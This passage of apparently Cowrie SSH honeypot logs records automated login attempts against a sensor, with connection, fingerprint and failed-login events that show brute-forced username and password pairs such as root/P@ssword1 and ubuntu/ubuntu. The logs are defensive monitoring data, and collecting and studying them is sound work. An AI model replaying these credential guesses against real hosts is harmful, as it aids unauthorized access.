f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:30:33.083520Z","src_ip":"20.203.42.204","session":"e90b78cced33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"homeboy","message":"login attempt [root/homeboy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:30:33.814343Z","src_ip":"20.203.42.204","session":"e90b78cced33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:30:34.993893Z","src_ip":"20.203.42.204","session":"e90b78cced33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":60662,"dst_ip":"159.203.135.109","dst_port":22,"session":"253cb873bb60","protocol":"ssh","message":"New connection: 45.153.34.114:60662 (159.203.135.109:22) [session: 253cb873bb60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:30:37.398184Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:30:37.403817Z","src_ip":"45.153.34.114","session":"253cb873bb60","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:30:37.488669Z","src_ip":"45.153.34.114","session":"253cb873bb60","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QQ123456","message":"login attempt [root/QQ123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:30:37.753413Z","src_ip":"45.153.34.114","session":"253cb873bb60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:30:38.843938Z","src_ip":"45.153.34.114","session":"253cb873bb60","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":36852,"dst_ip":"159.203.135.109","dst_port":22,"session":"07987d70a4a1","protocol":"ssh","message":"New connection: 103.75.199.4:36852 (159.203.135.109:22) [session: 07987d70a4a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:30:41.641932Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:30:41.646746Z","src_ip":"103.75.199.4","session":"07987d70a4a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:30:41.737649Z","src_ip":"103.75.199.4","session":"07987d70a4a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"omm","password":"omm","message":"login attempt [omm/omm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:30:42.016195Z","src_ip":"103.75.199.4","session":"07987d70a4a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:30:43.109784Z","src_ip":"103.75.199.4","session":"07987d70a4a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":34720,"dst_ip":"159.203.135.109","dst_port":22,"session":"25af701563e8","protocol":"ssh","message":"New connection: 45.153.34.114:34720 (159.203.135.109:22) [session: 25af701563e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:30:44.990647Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:30:44.996548Z","src_ip":"45.153.34.114","session":"25af701563e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:30:45.081183Z","src_ip":"45.153.34.114","session":"25af701563e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"alex","message":"login attempt [alex/alex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:30:45.339840Z","src_ip":"45.153.34.114","session":"25af701563e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:30:46.432405Z","src_ip":"45.153.34.114","session":"25af701563e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":43026,"dst_ip":"159.203.135.109","dst_port":22,"session":"afcd24d5b1f2","protocol":"ssh","message":"New connection: 45.153.34.114:43026 (159.203.135.109:22) [session: afcd24d5b1f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:30:52.145553Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:30:52.149708Z","src_ip":"45.153.34.114","session":"afcd24d5b1f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:30:52.232794Z","src_ip":"45.153.34.114","session":"afcd24d5b1f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssword1","message":"login attempt [root/P@ssword1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:30:52.498772Z","src_ip":"45.153.34.114","session":"afcd24d5b1f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:30:53.600771Z","src_ip":"45.153.34.114","session":"afcd24d5b1f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":43042,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ede0329c6d6","protocol":"ssh","message":"New connection: 45.153.34.114:43042 (159.203.135.109:22) [session: 5ede0329c6d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:30:59.204072Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:30:59.209117Z","src_ip":"45.153.34.114","session":"5ede0329c6d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:30:59.293267Z","src_ip":"45.153.34.114","session":"5ede0329c6d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dj","password":"dj","message":"login attempt [dj/dj] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:30:59.553587Z","src_ip":"45.153.34.114","session":"5ede0329c6d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:31:00.693142Z","src_ip":"45.153.34.114","session":"5ede0329c6d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":34438,"dst_ip":"159.203.135.109","dst_port":22,"session":"ceb10736ebc4","protocol":"ssh","message":"New connection: 103.75.199.4:34438 (159.203.135.109:22) [session: ceb10736ebc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:31:03.497327Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:31:03.502170Z","src_ip":"103.75.199.4","session":"ceb10736ebc4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:31:03.593354Z","src_ip":"103.75.199.4","session":"ceb10736ebc4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ranga","password":"ranga","message":"login attempt [ranga/ranga] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:31:03.869182Z","src_ip":"103.75.199.4","session":"ceb10736ebc4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:31:04.967719Z","src_ip":"103.75.199.4","session":"ceb10736ebc4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":44494,"dst_ip":"159.203.135.109","dst_port":22,"session":"d9d915b71868","protocol":"ssh","message":"New connection: 45.153.34.114:44494 (159.203.135.109:22) [session: d9d915b71868]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:31:06.411370Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:31:06.417398Z","src_ip":"45.153.34.114","session":"d9d915b71868","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:31:06.500827Z","src_ip":"45.153.34.114","session":"d9d915b71868","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"123","message":"login attempt [minecraft/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:31:06.769143Z","src_ip":"45.153.34.114","session":"d9d915b71868","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:31:07.858131Z","src_ip":"45.153.34.114","session":"d9d915b71868","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":49432,"dst_ip":"10.17.0.5","dst_port":22,"session":"bcf507b54840","protocol":"ssh","message":"New connection: 45.148.10.121:49432 (10.17.0.5:22) [session: bcf507b54840]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:31:12.145603Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:31:12.150243Z","src_ip":"45.148.10.121","session":"bcf507b54840","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:31:12.234383Z","src_ip":"45.148.10.121","session":"bcf507b54840","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":41548,"dst_ip":"159.203.135.109","dst_port":22,"session":"6787840c12dc","protocol":"ssh","message":"New connection: 45.153.34.114:41548 (159.203.135.109:22) [session: 6787840c12dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:31:13.417817Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:31:13.422915Z","src_ip":"45.153.34.114","session":"6787840c12dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:31:13.505878Z","src_ip":"45.153.34.114","session":"6787840c12dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:31:13.774264Z","src_ip":"45.153.34.114","session":"6787840c12dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:31:14.873943Z","src_ip":"45.153.34.114","session":"6787840c12dc","protocol":"ssh"}
